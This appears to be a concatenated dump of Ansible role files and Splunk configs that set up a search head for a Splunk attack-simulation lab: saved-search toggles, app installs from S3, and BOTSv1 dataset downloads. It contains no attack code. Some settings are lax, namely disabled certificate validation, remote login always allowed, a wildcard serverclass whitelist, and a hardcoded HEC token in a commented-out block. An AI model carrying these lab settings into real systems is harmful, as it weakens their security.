action.notable.param.verbose = 0 48 | action.nslookup.param.verbose = 0 49 | action.ping.param.verbose = 0 50 | action.risk.param.verbose = 0 51 | action.send2uba.param.verbose = 0 52 | action.threat_add.param.verbose = 0 53 | alert.track = 0 54 | disabled = 1 55 | is_visible = 0 56 | 57 | [Access - Access App Tracker - Lookup Gen] 58 | action.keyindicator.invert = 0 59 | action.makestreams.param.verbose = 0 60 | action.nbtstat.param.verbose = 0 61 | action.notable.param.verbose = 0 62 | action.nslookup.param.verbose = 0 63 | action.ping.param.verbose = 0 64 | action.risk.param.verbose = 0 65 | action.send2uba.param.verbose = 0 66 | action.threat_add.param.verbose = 0 67 | alert.track = 0 68 | disabled = 1 69 | is_visible = 0 70 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/savedsearches_SA-AuditAndDataProtection.conf: -------------------------------------------------------------------------------- 1 | [Audit - Events Per Day - Lookup Gen] 2 | action.keyindicator.invert = 0 3 | action.makestreams.param.verbose = 0 4 | action.nbtstat.param.verbose = 0 5 | action.notable.param.verbose = 0 6 | action.nslookup.param.verbose = 0 7 | action.ping.param.verbose = 0 8 | action.risk.param.verbose = 0 9 | action.send2uba.param.verbose = 0 10 | action.threat_add.param.verbose = 0 11 | alert.track = 0 12 | disabled = 1 13 | is_visible = 0 14 | 15 | [Audit - Managed Lookups Size - Summary Gen] 16 | action.keyindicator.invert = 0 17 | action.makestreams.param.verbose = 0 18 | action.nbtstat.param.verbose = 0 19 | action.notable.param.verbose = 0 20 | action.nslookup.param.verbose = 0 21 | action.ping.param.verbose = 0 22 | action.risk.param.verbose = 0 23 | action.send2uba.param.verbose = 0 24 | action.threat_add.param.verbose = 0 25 | alert.track = 0 26 | disabled = 1 27 | is_visible = 0 28 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/savedsearches_SA-EndpointProtection.conf: -------------------------------------------------------------------------------- 1 | [Endpoint - Index Time Delta 2 - Summary Gen] 2 | action.keyindicator.invert = 0 3 | action.makestreams.param.verbose = 0 4 | action.nbtstat.param.verbose = 0 5 | action.notable.param.verbose = 0 6 | action.nslookup.param.verbose = 0 7 | action.ping.param.verbose = 0 8 | action.risk.param.verbose = 0 9 | action.send2uba.param.verbose = 0 10 | action.threat_add.param.verbose = 0 11 | alert.track = 0 12 | disabled = 1 13 | is_visible = 0 14 | 15 | [Endpoint - Malware Daily Count - Context Gen] 16 | action.keyindicator.invert = 0 17 | action.makestreams.param.verbose = 0 18 | action.nbtstat.param.verbose = 0 19 | action.notable.param.verbose = 0 20 | action.nslookup.param.verbose = 0 21 | action.ping.param.verbose = 0 22 | action.risk.param.verbose = 0 23 | action.send2uba.param.verbose = 0 24 | action.threat_add.param.verbose = 0 25 | alert.track = 0 26 | disabled = 1 27 | is_visible = 0 28 | 29 | [Change - Total Change Count By User By Change Type Per Day - Context Gen] 30 | action.keyindicator.invert = 0 31 | action.makestreams.param.verbose = 0 32 | action.nbtstat.param.verbose = 0 33 | action.notable.param.verbose = 0 34 | action.nslookup.param.verbose = 0 35 | action.ping.param.verbose = 0 36 | action.risk.param.verbose = 0 37 | action.send2uba.param.verbose = 0 38 | action.threat_add.param.verbose = 0 39 | alert.track = 0 40 | disabled = 1 41 | is_visible = 0 42 | 43 | [Endpoint - Malware Operations Tracker - Lookup Gen] 44 | action.keyindicator.invert = 0 45 | action.makestreams.param.verbose = 0 46 | action.nbtstat.param.verbose = 0 47 | action.notable.param.verbose = 0 48 | action.nslookup.param.verbose = 0 49 | action.ping.param.verbose = 0 50 | action.risk.param.verbose = 0 51 | action.send2uba.param.verbose = 0 52 | action.threat_add.param.verbose = 0 53 | alert.track = 0 54 | disabled = 1 55 | is_visible = 0 56 | 57 | [Endpoint - System Version Tracker - Lookup Gen] 58 | action.keyindicator.invert = 0 59 | action.makestreams.param.verbose = 0 60 | action.nbtstat.param.verbose = 0 61 | action.notable.param.verbose = 0 62 | action.nslookup.param.verbose = 0 63 | action.ping.param.verbose = 0 64 | action.risk.param.verbose = 0 65 | action.send2uba.param.verbose = 0 66 | action.threat_add.param.verbose = 0 67 | alert.track = 0 68 | disabled = 1 69 | is_visible = 0 70 | 71 | [Endpoint - User Account Tracker - Lookup Gen] 72 | action.keyindicator.invert = 0 73 | action.makestreams.param.verbose = 0 74 | action.nbtstat.param.verbose = 0 75 | action.notable.param.verbose = 0 76 | action.nslookup.param.verbose = 0 77 | action.ping.param.verbose = 0 78 | action.risk.param.verbose = 0 79 | action.send2uba.param.verbose = 0 80 | action.threat_add.param.verbose = 0 81 | alert.track = 0 82 | disabled = 1 83 | is_visible = 0 84 | 85 | [Endpoint - Update Signature Reference - Lookup Gen] 86 | action.keyindicator.invert = 0 87 | action.makestreams.param.verbose = 0 88 | action.nbtstat.param.verbose = 0 89 | action.notable.param.verbose = 0 90 | action.nslookup.param.verbose = 0 91 | action.ping.param.verbose = 0 92 | action.risk.param.verbose = 0 93 | action.send2uba.param.verbose = 0 94 | action.threat_add.param.verbose = 0 95 | alert.track = 0 96 | disabled = 1 97 | is_visible = 0 98 | 99 | [Endpoint - Average Infection Length - Summary Gen] 100 | action.keyindicator.invert = 0 101 | action.makestreams.param.verbose = 0 102 | action.nbtstat.param.verbose = 0 103 | action.notable.param.verbose = 0 104 | action.nslookup.param.verbose = 0 105 | action.ping.param.verbose = 0 106 | action.risk.param.verbose = 0 107 | action.send2uba.param.verbose = 0 108 | action.threat_add.param.verbose = 0 109 | alert.track = 0 110 | disabled = 1 111 | is_visible = 0 112 | 113 | [Endpoint - Malware Tracker - Lookup Gen] 114 | action.keyindicator.invert = 0 115 | action.makestreams.param.verbose = 0 116 | action.nbtstat.param.verbose = 0 117 | action.notable.param.verbose = 0 118 | action.nslookup.param.verbose = 0 119 | action.ping.param.verbose = 0 120 | action.risk.param.verbose = 0 121 | action.send2uba.param.verbose = 0 122 | action.threat_add.param.verbose = 0 123 | alert.track = 0 124 | disabled = 1 125 | is_visible = 0 126 | 127 | [Endpoint - Services Tracker - Lookup Gen] 128 | action.keyindicator.invert = 0 129 | action.makestreams.param.verbose = 0 130 | action.nbtstat.param.verbose = 0 131 | action.notable.param.verbose = 0 132 | action.nslookup.param.verbose = 0 133 | action.ping.param.verbose = 0 134 | action.risk.param.verbose = 0 135 | action.send2uba.param.verbose = 0 136 | action.threat_add.param.verbose = 0 137 | alert.track = 0 138 | disabled = 1 139 | is_visible = 0 140 | 141 | [Endpoint - Local Processes Tracker - Lookup Gen] 142 | action.keyindicator.invert = 0 143 | action.makestreams.param.verbose = 0 144 | action.nbtstat.param.verbose = 0 145 | action.notable.param.verbose = 0 146 | action.nslookup.param.verbose = 0 147 | action.ping.param.verbose = 0 148 | action.risk.param.verbose = 0 149 | action.send2uba.param.verbose = 0 150 | action.threat_add.param.verbose = 0 151 | alert.track = 0 152 | disabled = 1 153 | is_visible = 0 154 | 155 | [Endpoint - Listening Ports Tracker - Lookup Gen] 156 | action.keyindicator.invert = 0 157 | action.makestreams.param.verbose = 0 158 | action.nbtstat.param.verbose = 0 159 | action.notable.param.verbose = 0 160 | action.nslookup.param.verbose = 0 161 | action.ping.param.verbose = 0 162 | action.risk.param.verbose = 0 163 | action.send2uba.param.verbose = 0 164 | action.threat_add.param.verbose = 0 165 | alert.track = 0 166 | disabled = 1 167 | is_visible = 0 168 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/savedsearches_SA-NetworkProtection.conf: -------------------------------------------------------------------------------- 1 | [Web - Web Event Count By Src By HTTP Method Per 1d - Context Gen] 2 | action.keyindicator.invert = 0 3 | action.makestreams.param.verbose = 0 4 | action.nbtstat.param.verbose = 0 5 | action.notable.param.verbose = 0 6 | action.nslookup.param.verbose = 0 7 | action.ping.param.verbose = 0 8 | action.risk.param.verbose = 0 9 | action.send2uba.param.verbose = 0 10 | action.threat_add.param.verbose = 0 11 | alert.track = 0 12 | disabled = 1 13 | is_visible = 0 14 | 15 | [Network - IDS Category Tracker - Lookup Gen] 16 | action.keyindicator.invert = 0 17 | action.makestreams.param.verbose = 0 18 | action.nbtstat.param.verbose = 0 19 | action.notable.param.verbose = 0 20 | action.nslookup.param.verbose = 0 21 | action.ping.param.verbose = 0 22 | action.risk.param.verbose = 0 23 | action.send2uba.param.verbose = 0 24 | action.threat_add.param.verbose = 0 25 | alert.track = 0 26 | disabled = 1 27 | is_visible = 0 28 | 29 | [Network - Communication Rule Tracker - Lookup Gen] 30 | action.keyindicator.invert = 0 31 | action.makestreams.param.verbose = 0 32 | action.nbtstat.param.verbose = 0 33 | action.notable.param.verbose = 0 34 | action.nslookup.param.verbose = 0 35 | action.ping.param.verbose = 0 36 | action.risk.param.verbose = 0 37 | action.send2uba.param.verbose = 0 38 | action.threat_add.param.verbose = 0 39 | alert.track = 0 40 | disabled = 1 41 | is_visible = 0 42 | 43 | [Network - Vulnerability Signature Reference - Lookup Gen] 44 | action.keyindicator.invert = 0 45 | action.makestreams.param.verbose = 0 46 | action.nbtstat.param.verbose = 0 47 | action.notable.param.verbose = 0 48 | action.nslookup.param.verbose = 0 49 | action.ping.param.verbose = 0 50 | action.risk.param.verbose = 0 51 | action.send2uba.param.verbose = 0 52 | action.threat_add.param.verbose = 0 53 | alert.track = 0 54 | disabled = 1 55 | is_visible = 0 56 | 57 | [Network - IDS Attack Tracker - Lookup Gen] 58 | action.keyindicator.invert = 0 59 | action.makestreams.param.verbose = 0 60 | action.nbtstat.param.verbose = 0 61 | action.notable.param.verbose = 0 62 | action.nslookup.param.verbose = 0 63 | action.ping.param.verbose = 0 64 | action.risk.param.verbose = 0 65 | action.send2uba.param.verbose = 0 66 | action.threat_add.param.verbose = 0 67 | alert.track = 0 68 | disabled = 1 69 | is_visible = 0 70 | 71 | [Network - Port And Protocol Tracker - Lookup Gen] 72 | action.keyindicator.invert = 0 73 | action.makestreams.param.verbose = 0 74 | action.nbtstat.param.verbose = 0 75 | action.notable.param.verbose = 0 76 | action.nslookup.param.verbose = 0 77 | action.ping.param.verbose = 0 78 | action.risk.param.verbose = 0 79 | action.send2uba.param.verbose = 0 80 | action.threat_add.param.verbose = 0 81 | alert.track = 0 82 | disabled = 1 83 | is_visible = 0 84 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/savedsearches_SA-ThreatIntelligence.conf: -------------------------------------------------------------------------------- 1 | [Threat - ICANN Top Level Domain - Lookup Gen] 2 | action.keyindicator.invert = 0 3 | action.makestreams.param.verbose = 0 4 | action.nbtstat.param.verbose = 0 5 | action.notable.param.verbose = 0 6 | action.nslookup.param.verbose = 0 7 | action.ping.param.verbose = 0 8 | action.risk.param.verbose = 0 9 | action.send2uba.param.verbose = 0 10 | action.threat_add.param.verbose = 0 11 | alert.track = 0 12 | disabled = 1 13 | is_visible = 0 14 | 15 | [Threats - Disable Suppressions - Administrative] 16 | action.keyindicator.invert = 0 17 | action.makestreams.param.verbose = 0 18 | action.nbtstat.param.verbose = 0 19 | action.notable.param.verbose = 0 20 | action.nslookup.param.verbose = 0 21 | action.ping.param.verbose = 0 22 | action.risk.param.verbose = 0 23 | action.send2uba.param.verbose = 0 24 | action.threat_add.param.verbose = 0 25 | alert.track = 0 26 | disabled = 1 27 | is_visible = 0 28 | run_on_startup = 1 29 | 30 | [Risk - Total Risk By Risk Object Type Per Day - Context Gen] 31 | action.keyindicator.invert = 0 32 | action.makestreams.param.verbose = 0 33 | action.nbtstat.param.verbose = 0 34 | action.notable.param.verbose = 0 35 | action.nslookup.param.verbose = 0 36 | action.ping.param.verbose = 0 37 | action.risk.param.verbose = 0 38 | action.send2uba.param.verbose = 0 39 | action.threat_add.param.verbose = 0 40 | alert.track = 0 41 | disabled = 1 42 | is_visible = 0 43 | 44 | [Threat - Correlation Searches - Lookup Gen] 45 | action.keyindicator.invert = 0 46 | action.makestreams.param.verbose = 0 47 | action.nbtstat.param.verbose = 0 48 | action.notable.param.verbose = 0 49 | action.nslookup.param.verbose = 0 50 | action.ping.param.verbose = 0 51 | action.risk.param.verbose = 0 52 | action.send2uba.param.verbose = 0 53 | action.threat_add.param.verbose = 0 54 | alert.track = 0 55 | disabled = 1 56 | is_visible = 0 57 | run_on_startup = 1 58 | 59 | [Threat - Notable Owners - Lookup Gen] 60 | action.keyindicator.invert = 0 61 | action.makestreams.param.verbose = 0 62 | action.nbtstat.param.verbose = 0 63 | action.notable.param.verbose = 0 64 | action.nslookup.param.verbose = 0 65 | action.ping.param.verbose = 0 66 | action.risk.param.verbose = 0 67 | action.send2uba.param.verbose = 0 68 | action.threat_add.param.verbose = 0 69 | alert.track = 0 70 | disabled = 1 71 | is_visible = 0 72 | run_on_startup = 1 73 | 74 | [Threat - Risk Correlation By System - Lookup Gen] 75 | action.keyindicator.invert = 0 76 | action.makestreams.param.verbose = 0 77 | action.nbtstat.param.verbose = 0 78 | action.notable.param.verbose = 0 79 | action.nslookup.param.verbose = 0 80 | action.ping.param.verbose = 0 81 | action.risk.param.verbose = 0 82 | action.send2uba.param.verbose = 0 83 | action.threat_add.param.verbose = 0 84 | alert.track = 0 85 | disabled = 1 86 | is_visible = 0 87 | run_on_startup = 0 88 | 89 | [Threat - Risk Correlation By User - Lookup Gen] 90 | action.keyindicator.invert = 0 91 | action.makestreams.param.verbose = 0 92 | action.nbtstat.param.verbose = 0 93 | action.notable.param.verbose = 0 94 | action.nslookup.param.verbose = 0 95 | action.ping.param.verbose = 0 96 | action.risk.param.verbose = 0 97 | action.send2uba.param.verbose = 0 98 | action.threat_add.param.verbose = 0 99 | alert.track = 0 100 | disabled = 1 101 | is_visible = 0 102 | run_on_startup = 0 103 | 104 | [Threat - Refresh Governance - Administrative] 105 | action.keyindicator.invert = 0 106 | action.makestreams.param.verbose = 0 107 | action.nbtstat.param.verbose = 0 108 | action.notable.param.verbose = 0 109 | action.nslookup.param.verbose = 0 110 | action.ping.param.verbose = 0 111 | action.risk.param.verbose = 0 112 | action.send2uba.param.verbose = 0 113 | action.threat_add.param.verbose = 0 114 | alert.track = 0 115 | disabled = 1 116 | is_visible = 0 117 | run_on_startup = 1 118 | 119 | [Threat - Suppressed Notables - Summary Gen] 120 | action.keyindicator.invert = 0 121 | action.makestreams.param.verbose = 0 122 | action.nbtstat.param.verbose = 0 123 | action.notable.param.verbose = 0 124 | action.nslookup.param.verbose = 0 125 | action.ping.param.verbose = 0 126 | action.risk.param.verbose = 0 127 | action.send2uba.param.verbose = 0 128 | action.threat_add.param.verbose = 0 129 | alert.track = 0 130 | disabled = 1 131 | is_visible = 0 132 | 133 | [Threat - Refresh Reviewstatuses - Administrative] 134 | action.keyindicator.invert = 0 135 | action.makestreams.param.verbose = 0 136 | action.nbtstat.param.verbose = 0 137 | action.notable.param.verbose = 0 138 | action.nslookup.param.verbose = 0 139 | action.ping.param.verbose = 0 140 | action.risk.param.verbose = 0 141 | action.send2uba.param.verbose = 0 142 | action.threat_add.param.verbose = 0 143 | alert.track = 0 144 | disabled = 1 145 | is_visible = 0 146 | run_on_startup = 1 147 | 148 | [Threat - Mozilla Public Suffix - Lookup Gen] 149 | action.keyindicator.invert = 0 150 | action.makestreams.param.verbose = 0 151 | action.nbtstat.param.verbose = 0 152 | action.notable.param.verbose = 0 153 | action.nslookup.param.verbose = 0 154 | action.ping.param.verbose = 0 155 | action.risk.param.verbose = 0 156 | action.send2uba.param.verbose = 0 157 | action.threat_add.param.verbose = 0 158 | alert.track = 0 159 | disabled = 1 160 | is_visible = 0 161 | 162 | [Risk - Median Object Risk Per Day - Context Gen] 163 | action.keyindicator.invert = 0 164 | action.makestreams.param.verbose = 0 165 | action.nbtstat.param.verbose = 0 166 | action.notable.param.verbose = 0 167 | action.nslookup.param.verbose = 0 168 | action.ping.param.verbose = 0 169 | action.risk.param.verbose = 0 170 | action.send2uba.param.verbose = 0 171 | action.threat_add.param.verbose = 0 172 | alert.track = 0 173 | disabled = 1 174 | is_visible = 0 175 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/server.conf: -------------------------------------------------------------------------------- 1 | [general] 2 | allowRemoteLogin = always 3 | 4 | [diskUsage] 5 | minFreeSpace = 1000 6 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/serverclass.conf: -------------------------------------------------------------------------------- 1 | [serverClass:splunk_stream_deployment:app:Splunk_TA_stream] 2 | restartSplunkWeb = 0 3 | restartSplunkd = 1 4 | stateOnClient = enabled 5 | 6 | [serverClass:splunk_stream_deployment] 7 | whitelist.0 = * 8 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/user-prefs.conf: -------------------------------------------------------------------------------- 1 | [general] 2 | render_version_messages = 1 3 | checked_new_maintenance_version = 8.0.3 4 | checked_new_version = 8.0.3 5 | new_maintenance_version = 1 6 | new_version = 1 7 | dismissedInstrumentationOptInVersion = 4 8 | hideInstrumentationOptInModal = 1 9 | notification_python_3_impact = false 10 | eai_app_only = False 11 | eai_results_per_page = 25 12 | display.page.home.dashboardId = /servicesNS/nobody/splunk_attack_range_reporting/data/ui/views/attack_range_main_dashboard 13 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/web.conf: -------------------------------------------------------------------------------- 1 | [settings] 2 | max_upload_size = 1024 3 | -------------------------------------------------------------------------------- /ansible/roles/search_head/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: restart splunk 2 | service: name=splunk state=restarted 3 | become: yes 4 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/configure_hec.yml: -------------------------------------------------------------------------------- 1 | 2 | - name: Create folder directory for hec inputs configuration 3 | file: 4 | path: "{{ item }}" 5 | state: directory 6 | owner: splunk 7 | group: splunk 8 | recurse: yes 9 | with_items: 10 | - /opt/splunk/etc/apps/splunk_httpinput/local/ 11 | 12 | - name: copy inputs.conf 13 | copy: 14 | src: hec_inputs.conf 15 | dest: /opt/splunk/etc/apps/splunk_httpinput/local/inputs.conf 16 | owner: splunk 17 | group: splunk 18 | notify: restart splunk 19 | 20 | # - name: add inputs for Kubernetes 21 | # blockinfile: 22 | # path: /opt/splunk/etc/apps/splunk_httpinput/local/inputs.conf 23 | # insertafter: 'EOF' 24 | # block: | 25 | # [http] 26 | # disabled = 0 27 | # 28 | # [http://k8stoken] 29 | # description = Token for Kubernetes 30 | # disabled = 0 31 | # token = 1b0bb9cc-e884-4ae0-b3fa-9062f200b328 32 | # index = kubernetes 33 | # indexes = kubernetes,kubernetes-metrics 34 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/configure_indexes.yml: -------------------------------------------------------------------------------- 1 | 2 | - name: Create folder directory for indexes configuration 3 | file: 4 | path: "{{ item }}" 5 | state: directory 6 | owner: splunk 7 | group: splunk 8 | recurse: yes 9 | with_items: 10 | - /opt/splunk/etc/apps/indexes_app/local/ 11 | 12 | - name: copy indexes.conf to splunk server 13 | copy: 14 | src: indexes.conf 15 | dest: /opt/splunk/etc/apps/indexes_app/local/indexes.conf 16 | owner: splunk 17 | group: splunk 18 | notify: restart splunk 19 | 20 | - name: copy authorize.conf for default searchable indexes_app 21 | copy: 22 | src: authorize.conf 23 | dest: /opt/splunk/etc/system/local/authorize.conf 24 | owner: splunk 25 | group: splunk 26 | notify: restart splunk 27 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/configure_inputs.yml: -------------------------------------------------------------------------------- 1 | 2 | - name: Create folder directory for inputs configuration 3 | file: 4 | path: "{{ item }}" 5 | state: directory 6 | owner: splunk 7 | group: splunk 8 | recurse: yes 9 | with_items: 10 | - /opt/splunk/etc/apps/inputs_app/local/ 11 | 12 | - name: copy inputs.conf 13 | copy: 14 | src: inputs.conf 15 | dest: /opt/splunk/etc/apps/inputs_app/local/inputs.conf 16 | owner: splunk 17 | group: splunk 18 | notify: restart splunk 19 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/configure_limits.yml: -------------------------------------------------------------------------------- 1 | 2 | - name: Create folder directory for indexes configuration 3 | file: 4 | path: "{{ item }}" 5 | state: directory 6 | owner: splunk 7 | group: splunk 8 | recurse: yes 9 | with_items: 10 | - /opt/splunk/etc/apps/limits_app/local/ 11 | 12 | - name: copy limits.conf to splunk server 13 | copy: 14 | src: limits.conf 15 | dest: /opt/splunk/etc/apps/limits_app/local/limits.conf 16 | owner: splunk 17 | group: splunk 18 | notify: restart splunk 19 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/configure_server_conf.yml: -------------------------------------------------------------------------------- 1 | 2 | - name: Create folder directory for server configuration 3 | file: 4 | path: "{{ item }}" 5 | state: directory 6 | owner: splunk 7 | group: splunk 8 | recurse: yes 9 | with_items: 10 | - /opt/splunk/etc/apps/server_app/local/ 11 | 12 | - name: copy server.conf to splunk server 13 | copy: 14 | src: server.conf 15 | dest: /opt/splunk/etc/apps/server_app/local/server.conf 16 | owner: splunk 17 | group: splunk 18 | notify: restart splunk 19 | 20 | - name: restart splunk 21 | service: name=splunk state=restarted 22 | become: yes 23 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/configure_web_conf.yml: -------------------------------------------------------------------------------- 1 | 2 | - name: Create folder directory for web configuration 3 | file: 4 | path: "{{ item }}" 5 | state: directory 6 | owner: splunk 7 | group: splunk 8 | recurse: yes 9 | with_items: 10 | - /opt/splunk/etc/apps/web_app/local/ 11 | 12 | - name: copy web.conf to splunk server 13 | copy: 14 | src: web.conf 15 | dest: /opt/splunk/etc/apps/web_app/local/web.conf 16 | owner: splunk 17 | group: splunk 18 | notify: restart splunk 19 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/create_serverclass.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: copy serverclass.conf to splunk server 4 | copy: 5 | src: serverclass.conf 6 | dest: /opt/splunk/etc/system/local/serverclass.conf 7 | owner: splunk 8 | group: splunk 9 | notify: restart splunk 10 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_asx_app.yml: -------------------------------------------------------------------------------- 1 | - name: Check if Timeline Visualization exists 2 | stat: 3 | path: /opt/splunk/etc/apps/timeline_app 4 | register: timeline_custom_visualization_app 5 | 6 | - name: download Timeline Visualization from S3 bucket 7 | get_url: 8 | url: '{{ s3_bucket_url }}/{{ timeline_custom_visualization }}' 9 | dest: /tmp/timeline_custom_visualization_app.tgz 10 | when: timeline_custom_visualization_app.stat.exists == False 11 | 12 | - name: Install Timeline Visualization via REST 13 | uri: 14 | url: "https://127.0.0.1:8089/services/apps/local" 15 | method: POST 16 | user: "admin" 17 | password: "{{ splunk_admin_password }}" 18 | validate_certs: false 19 | body: "name=/tmp/timeline_custom_visualization_app.tgz&update=true&filename=true" 20 | headers: 21 | Content-Type: "application/x-www-form-urlencoded" 22 | status_code: [ 200, 201 ] 23 | timeout: 30 24 | when: timeline_custom_visualization_app.stat.exists == False 25 | notify: restart splunk 26 | 27 | 28 | - name: Check if ASX App exists 29 | stat: 30 | path: /opt/splunk/etc/apps/Splunk_ASX 31 | register: asx_app 32 | 33 | - name: download ASX app from S3 bucket 34 | get_url: 35 | url: '{{ s3_bucket_url }}/{{ splunk_asx_app }}' 36 | dest: /tmp/asx_app.tgz 37 | when: asx_app.stat.exists == False 38 | 39 | - name: Install asx app via REST 40 | uri: 41 | url: "https://127.0.0.1:8089/services/apps/local" 42 | method: POST 43 | user: "admin" 44 | password: "{{ splunk_admin_password }}" 45 | validate_certs: false 46 | body: "name=/tmp/asx_app.tgz&update=true&filename=true" 47 | headers: 48 | Content-Type: "application/x-www-form-urlencoded" 49 | status_code: [ 200, 201 ] 50 | timeout: 30 51 | notify: restart splunk 52 | when: asx_app.stat.exists == False 53 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_attack_range_dashboard.yml: -------------------------------------------------------------------------------- 1 | - name: Check if Status Indicator Dashboard exists 2 | stat: 3 | path: /opt/splunk/etc/apps/status_indicator_app 4 | register: custom_dashboard_status_app 5 | 6 | - name: download Status Indicator Dashboard from S3 bucket 7 | get_url: 8 | url: '{{ s3_bucket_url }}/{{ status_indicator_custom_visualization }}' 9 | dest: /tmp/custom_dashboard_status_app.tgz 10 | when: custom_dashboard_status_app.stat.exists == False 11 | 12 | - name: Install Status Indicator Dashboard via REST 13 | uri: 14 | url: "https://127.0.0.1:8089/services/apps/local" 15 | method: POST 16 | user: "admin" 17 | password: "{{ splunk_admin_password }}" 18 | validate_certs: false 19 | body: "name=/tmp/custom_dashboard_status_app.tgz&update=true&filename=true" 20 | headers: 21 | Content-Type: "application/x-www-form-urlencoded" 22 | status_code: [ 200, 201 ] 23 | timeout: 30 24 | when: custom_dashboard_status_app.stat.exists == False 25 | notify: restart splunk 26 | 27 | - name: Check if Punchcard Dashboard exists 28 | stat: 29 | path: /opt/splunk/etc/apps/punchcard_app 30 | register: punchcard_dashboard_app 31 | 32 | - name: download Punchcard Dashboard from S3 bucket 33 | get_url: 34 | url: '{{ s3_bucket_url }}/{{ punchard_custom_visualization }}' 35 | dest: /tmp/punchcard_dashboard_app.tgz 36 | when: punchcard_dashboard_app.stat.exists == False 37 | 38 | - name: Install Punchcard Dashboard via REST 39 | uri: 40 | url: "https://127.0.0.1:8089/services/apps/local" 41 | method: POST 42 | user: "admin" 43 | password: "{{ splunk_admin_password }}" 44 | validate_certs: false 45 | body: "name=/tmp/punchcard_dashboard_app.tgz&update=true&filename=true" 46 | headers: 47 | Content-Type: "application/x-www-form-urlencoded" 48 | status_code: [ 200, 201 ] 49 | timeout: 30 50 | when: punchcard_dashboard_app.stat.exists == False 51 | notify: restart splunk 52 | 53 | 54 | - name: Check if Attack Range Reporting exists 55 | stat: 56 | path: /opt/splunk/etc/apps/splunk_attack_range_reporting 57 | register: attack_range_reporting_app 58 | 59 | - name: download Attack Range Reporting from S3 bucket 60 | get_url: 61 | url: '{{ s3_bucket_url }}/{{ splunk_attack_range_dashboard }}' 62 | dest: /tmp/attack_range_reporting_app.tgz 63 | when: attack_range_reporting_app.stat.exists == False 64 | 65 | - name: Install Attack Range Reporting via REST 66 | uri: 67 | url: "https://127.0.0.1:8089/services/apps/local" 68 | method: POST 69 | user: "admin" 70 | password: "{{ splunk_admin_password }}" 71 | validate_certs: false 72 | body: "name=/tmp/attack_range_reporting_app.tgz&update=true&filename=true" 73 | headers: 74 | Content-Type: "application/x-www-form-urlencoded" 75 | status_code: [ 200, 201 ] 76 | timeout: 30 77 | when: attack_range_reporting_app.stat.exists == False 78 | notify: restart splunk 79 | 80 | - name: Create folder directory for user-prefs configuration 81 | file: 82 | path: "{{ item }}" 83 | state: directory 84 | owner: splunk 85 | group: splunk 86 | recurse: yes 87 | with_items: 88 | - /opt/splunk/etc/users/admin/user-prefs/local/ 89 | 90 | - name: copy user-prefs.conf to splunk server 91 | copy: 92 | src: user-prefs.conf 93 | dest: /opt/splunk/etc/users/admin/user-prefs/local/user-prefs.conf 94 | owner: splunk 95 | group: splunk 96 | notify: restart splunk 97 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_aws_app.yml: -------------------------------------------------------------------------------- 1 | - name: Check if aws app exists 2 | stat: 3 | path: /opt/splunk/etc/apps/Splunk_TA_aws # need to be done 4 | register: aws_app 5 | 6 | - name: download AWS App from S3 7 | get_url: 8 | url: '{{ s3_bucket_url }}/{{ splunk_aws_app }}' 9 | dest: /tmp/aws_app.tgz 10 | when: aws_app.stat.exists == False 11 | 12 | - name: Install aws app via REST 13 | uri: 14 | url: "https://127.0.0.1:8089/services/apps/local" 15 | method: POST 16 | user: "admin" 17 | password: "{{ splunk_admin_password }}" 18 | validate_certs: false 19 | body: "name=tmp/aws_app.tgz&update=true&filename=true" 20 | headers: 21 | Content-Type: "application/x-www-form-urlencoded" 22 | status_code: [ 200, 201 ] 23 | timeout: 30 24 | when: aws_app.stat.exists == False 25 | notify: restart splunk 26 | 27 | - name: Create folder directory for AWS TA 28 | file: 29 | path: "{{ item }}" 30 | state: directory 31 | owner: splunk 32 | group: splunk 33 | recurse: yes 34 | with_items: 35 | - /opt/splunk/etc/apps/Splunk_TA_aws/local/ 36 | 37 | - name: Copy new aws_account_ext.conf configuration 38 | template: 39 | src: aws_account_ext.conf.j2 40 | dest: /opt/splunk/etc/apps/Splunk_TA_aws/local/aws_account_ext.conf 41 | owner: splunk 42 | group: splunk 43 | 44 | - name: Copy new aws_cloudwatch_logs_tasks.conf configuration 45 | template: 46 | src: aws_cloudwatch_logs_tasks.conf.j2 47 | dest: /opt/splunk/etc/apps/Splunk_TA_aws/local/aws_cloudwatch_logs_tasks.conf 48 | owner: splunk 49 | group: splunk 50 | 51 | - name: Copy new inputs.conf configuration 52 | template: 53 | src: aws_inputs.conf.j2 54 | dest: /opt/splunk/etc/apps/Splunk_TA_aws/local/inputs.conf 55 | owner: splunk 56 | group: splunk 57 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_botsv1_dataset.yml: -------------------------------------------------------------------------------- 1 | 2 | - name: check if BOTSv1 app exists 3 | stat: 4 | path: /opt/splunk/etc/apps/botsv1_data_set 5 | register: botsv1_app 6 | 7 | - name: download BOTSv1 dataset 8 | unarchive: 9 | src: 'https://s3.amazonaws.com/botsdataset/botsv1/splunk-pre-indexed/botsv1_data_set.tgz' 10 | dest: /opt/splunk/etc/apps 11 | owner: splunk 12 | group: splunk 13 | remote_src: yes 14 | when: botsv1_app.stat.exists == False 15 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_botsv1a_dataset.yml: -------------------------------------------------------------------------------- 1 | 2 | - name: check if BOTSv1 attack only app exists 3 | stat: 4 | path: /opt/splunk/etc/apps/botsv1_data_set 5 | register: botsv1a_app 6 | 7 | - name: download BOTSv1 attack only dataset 8 | unarchive: 9 | src: 'https://s3.amazonaws.com/botsdataset/botsv1/botsv1-attack-only.tgz' 10 | dest: /opt/splunk/etc/apps 11 | owner: splunk 12 | group: splunk 13 